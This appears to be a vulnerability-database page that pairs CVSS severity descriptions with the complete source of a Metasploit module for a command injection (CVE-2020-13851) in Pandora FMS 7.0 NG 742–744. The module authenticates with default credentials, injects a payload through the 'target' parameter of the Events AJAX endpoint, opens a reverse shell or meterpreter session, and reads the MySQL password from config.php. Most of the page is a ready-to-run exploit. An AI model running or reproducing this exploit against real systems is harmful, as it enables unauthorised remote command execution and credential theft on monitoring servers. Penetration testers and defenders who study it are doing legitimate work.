The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Pandora FMS 7.0 NG 7XX Remote Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pandora FMS Events Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability (CVE-2020-13851) in Pandora
FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
older versions) in order to execute arbitrary commands.
This module takes advantage of a command injection vulnerability in the
`Events` feature of Pandora FMS. This flaw allows users to execute
arbitrary commands via the `target` parameter in HTTP POST requests to
the `Events` function. After authenticating to the target, the module
attempts to exploit this flaw by issuing such an HTTP POST request,
with the `target` parameter set to contain the payload. If a shell is
obtained, the module will try to obtain the local MySQL database
password via a simple `grep` command on the plaintext
`/var/www/html/pandora_console/include/config.php` file.
Valid credentials for a Pandora FMS account are required. The account
does not need to have admin privileges.
This module has been successfully tested on Pandora 7.0 NG 744 running
on CentOS 7 (the official virtual appliance ISO for this version).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fernando Catoira', # Discovery
'Julio Sanchez', # Discovery
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-13851'], # RCE via the `events` feature
['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-06-04',
'DefaultTarget' => 1
)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])
]
end
def check
vprint_status('Running check')
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')
return CheckCode::Safe('Target is not a Pandora FMS application.')
end
@cookie = res.get_cookies
html = res.get_html_document
full_version = html.at('div[@id="ver_num"]')
if full_version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end
full_version = full_version.text
version = full_version[1..-1].sub('NG', '')
if version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end
version = Gem::Version.new version
unless version <= Gem::Version.new('7.0.744')
return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")
end
CheckCode::Appears("Target is Pandora FMS version #{full_version}.")
end
def login(user, pass)
vprint_status "Authenticating as #{user} ..."
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => @cookie,
'vars_get' => { 'login' => '1' },
'vars_post' => {
'nick' => user,
'pass' => pass,
'login_button' => 'Login'
}
})
unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')
fail_with Failure::NoAccess, 'Authentication failed'
end
print_good "Authenticated as user #{user}."
end
def on_new_session(client)
super
if target.arch.first == ARCH_CMD
print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.')
client.shell_write("grep dbpass include/config.php\n")
else
print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.')
end
end
def execute_command(cmd, _opts = {})
print_status('Executing payload...')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'cookie' => @cookie,
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Referer' => full_uri('index.php'),
'vars_get' => {
'sec' => 'eventos',
'sec2' => 'operation/events/events'
},
'vars_post' => {
'page' => 'include/ajax/events',
'perform_event_response' => '10000000',
'target' => cmd.to_s,
'response_id' => '1'
}
}, 0) # the server will not send a response, so the module shouldn't wait for one
end
def exploit
login(datastore['USERNAME'], datastore['PASSWORD'])
if target.arch.first == ARCH_CMD
execute_command payload.encoded
else
execute_cmdstager(background: true)
end
end
end
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